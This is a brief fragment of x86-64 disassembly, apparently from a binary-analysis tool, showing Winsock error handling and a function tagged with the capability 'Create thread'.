mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x140014816
mov dword [r12], 1
jmp 0x1400147df
mov dword [rsi + 0x20], eax
mov dword [rsi + 0x18], 1
mov dword [rsi + 0x1c], 3
xor eax, eax
mov dword [rsi + 0x24], 1
jmp 0x1400147e4

Function at 0x1400158f0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rax, [rcx + 0x68]
mov rbx, rcx
mov r9, rcx
mov qword [rsp + 0x28], rax
lea r8, [0x140015680]
xor edi, edi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edi
call fcn.14001d77c
test rax, rax
mov qword [rbx + 0x60], rax
mov rbx, qword [rsp + 0x40]
setne dil
mov eax, edi
add rsp, 0x30
pop rdi
ret